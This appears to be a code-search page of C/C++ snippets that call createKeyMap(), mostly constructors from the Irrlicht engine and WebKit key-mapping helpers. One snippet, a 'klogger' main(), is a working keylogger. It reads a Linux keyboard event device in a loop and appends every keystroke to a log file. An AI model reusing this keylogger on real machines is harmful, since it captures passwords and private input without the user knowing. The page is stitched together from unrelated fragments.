Exemple #1
0
//! constructor
CIrrDevicePS3::CIrrDevicePS3(const SIrrlichtCreationParameters& param): CIrrDeviceStub(param),
	Width(param.WindowSize.Width), Height(param.WindowSize.Height),
	WindowHasFocus(false), WindowMinimized(false),
	UseXVidMode(false), UseXRandR(false), UseGLXWindow(false),
	ExternalWindow(false), AutorepeatSupport(0)
{
	#ifdef _DEBUG
	setDebugName("CIrrDevicePS3");
	#endif

	// create keymap
	createKeyMap();

	// create window
	if (CreationParams.DriverType != video::EDT_NULL)
	{
		// create the window, only if we do not use the null device
		if (!createWindow())
			return;
	}

	// create cursor control
	CursorControl = new CCursorControl(this, CreationParams.DriverType == video::EDT_NULL);

	// create driver
	createDriver();

	if (!VideoDriver)
		return;

	createGUIAndScene();
}
Exemple #2
0
static String keyIdentifierForEvasKeyName(String& keyName)
{
    if (gKeyMap.isEmpty())
        createKeyMap();

    if (gKeyMap.contains(keyName))
        return gKeyMap.get(keyName);

    return keyName;
}
String keyIdentifierForEvasKeyName(const String& keyName)
{
    if (keyMap().isEmpty())
        createKeyMap();

    if (keyMap().contains(keyName))
        return keyMap().get(keyName);

    return keyName;
}
//! constructor
CIrrDeviceBB10::CIrrDeviceBB10(const SIrrlichtCreationParameters& param)
	: CIrrDeviceStub(param),
	bspScreenWindow((screen_window_t)param.WindowId), MouseX(0), MouseY(0), MouseButtonStates(0),
	Width(param.WindowSize.Width), Height(param.WindowSize.Height),
	Resizable(false), WindowHasFocus(true), WindowMinimized(false)
{
	#ifdef _DEBUG
	setDebugName("CIrrDeviceBB10");
	#endif

	// Initialize SDL... Timer for sleep, video for the obvious, and
	// noparachute prevents SDL from catching fatal errors.
	if (bps_initialize() !=BPS_SUCCESS)
	{
		os::Printer::log( "Unable to initialize BSP !");
		Close = true;
	}

	//create screen context
	screen_create_context(&bspScreenCtx, 0);
	core::stringc devVersion = "BB10 Version ";
	Operator = new COSOperator(devVersion);
	os::Printer::log(devVersion.c_str(), ELL_INFORMATION);

	// create keymap
	createKeyMap();

	// create window
	if (CreationParams.DriverType != video::EDT_NULL)
	{
		// create the window, only if we do not use the null device
		createWindow();
	}

	// create cursor control
	CursorControl = new CCursorControl(this);

	// create driver
	createDriver();

	if (VideoDriver)
		createGUIAndScene();
}
int main(){
	struct LoggerMetaData loggerMetaData;

	std::ifstream configFileHandler;
	configFileHandler.open(loggerMetaData.pathToConfig, std::ifstream::in);

	if(!configFileHandler){	//If the logger was not able to open the config-file without any error, then the application uses the initialized meta information
		if(DEBUG){
			fprintf(stderr, "<klogger>: Was not able to open the configuration file");
		}
	}else{
		setLoggerOptions(&loggerMetaData, configFileHandler);
		configFileHandler.close();
	}

	int keyboardEventHook = open(loggerMetaData.keyboardHookPath.c_str(), O_RDONLY);
	if(keyboardEventHook == -1){
		if(DEBUG){
			fprintf(stderr, "<klogger>: Was not able to open KeyboardHook");
		}
		exit(EXIT_FAILURE);
	}
	createKeyMap();

	bool capsLock = false;
	int lastKey = 0;

	std::string mappedKey; 

	while(1){

		struct KeyboardEvent keyboardEvent;
		int readKeyboardHook = read(keyboardEventHook, &keyboardEvent, sizeof(struct KeyboardEvent));

		switch(keyboardEvent.value){
			case 0: 	//Key Released
				if(keymap[keyboardEvent.code].find("SHIFT") != std::string::npos)
					capsLock = !capsLock;
				break;
			case 1: 	//Key Press
			{
				std::ofstream logFile;
				logFile.open(loggerMetaData.pathToOutput, std::ios::app);

				mappedKey = keymap[keyboardEvent.code];
				if(mappedKey.find("[CAPS LOCK]") != std::string::npos || mappedKey.find("SHIFT") != std::string::npos)
					capsLock = !capsLock;
				else{
					
					if(mappedKey.find("[") == std::string::npos){
						if(capsLock){
							mappedKey = convertToUpper(mappedKey);
						}else{
							mappedKey = convertToLower(mappedKey);
						}
					}
					logFile << mappedKey;
					logFile.flush();
					logFile.close();
				}
				break;
			}
			default:
				continue;
				break;
		}
	}
	return 0;
}
//! constructor
CIrrDeviceSDL::CIrrDeviceSDL(const SIrrlichtCreationParameters& param)
	: CIrrDeviceStub(param),
	Screen((SDL_Surface*)param.WindowId), SDL_Flags(SDL_ANYFORMAT),
	MouseX(0), MouseY(0), MouseButtonStates(0),
	Width(param.WindowSize.Width), Height(param.WindowSize.Height),
	Resizable(false), WindowHasFocus(false), WindowMinimized(false)
{
	#ifdef _DEBUG
	setDebugName("CIrrDeviceSDL");
	#endif

	// Initialize SDL... Timer for sleep, video for the obvious, and
	// noparachute prevents SDL from catching fatal errors.
	if (SDL_Init( SDL_INIT_TIMER|SDL_INIT_VIDEO|
#if defined(_IRR_COMPILE_WITH_JOYSTICK_EVENTS_)
				SDL_INIT_JOYSTICK|
#endif
				SDL_INIT_NOPARACHUTE ) < 0)
	{
		os::Printer::log( "Unable to initialize SDL!", SDL_GetError());
		Close = true;
	}

#if defined(_IRR_WINDOWS_)
	SDL_putenv("SDL_VIDEODRIVER=directx");
#elif defined(_IRR_OSX_PLATFORM_)
	SDL_putenv("SDL_VIDEODRIVER=Quartz");
#else
	SDL_putenv("SDL_VIDEODRIVER=x11");
#endif
//	SDL_putenv("SDL_WINDOWID=");

	SDL_VERSION(&Info.version);

	SDL_GetWMInfo(&Info);
	core::stringc sdlversion = "SDL Version ";
	sdlversion += Info.version.major;
	sdlversion += ".";
	sdlversion += Info.version.minor;
	sdlversion += ".";
	sdlversion += Info.version.patch;

	Operator = new COSOperator(sdlversion);
	os::Printer::log(sdlversion.c_str(), ELL_INFORMATION);

	// create keymap
	createKeyMap();
	// enable key to character translation
	SDL_EnableUNICODE(1);

	(void)SDL_EnableKeyRepeat(SDL_DEFAULT_REPEAT_DELAY, SDL_DEFAULT_REPEAT_INTERVAL);

	if ( CreationParams.Fullscreen )
		SDL_Flags |= SDL_FULLSCREEN;
	if (CreationParams.DriverType == video::EDT_OPENGL)
		SDL_Flags |= SDL_OPENGL;
	else if (CreationParams.Doublebuffer)
		SDL_Flags |= SDL_DOUBLEBUF;
	// create window
	if (CreationParams.DriverType != video::EDT_NULL)
	{
		// create the window, only if we do not use the null device
		createWindow();
	}

	// create cursor control
	CursorControl = new CCursorControl(this);

	// create driver
	createDriver();

	if (VideoDriver)
		createGUIAndScene();
}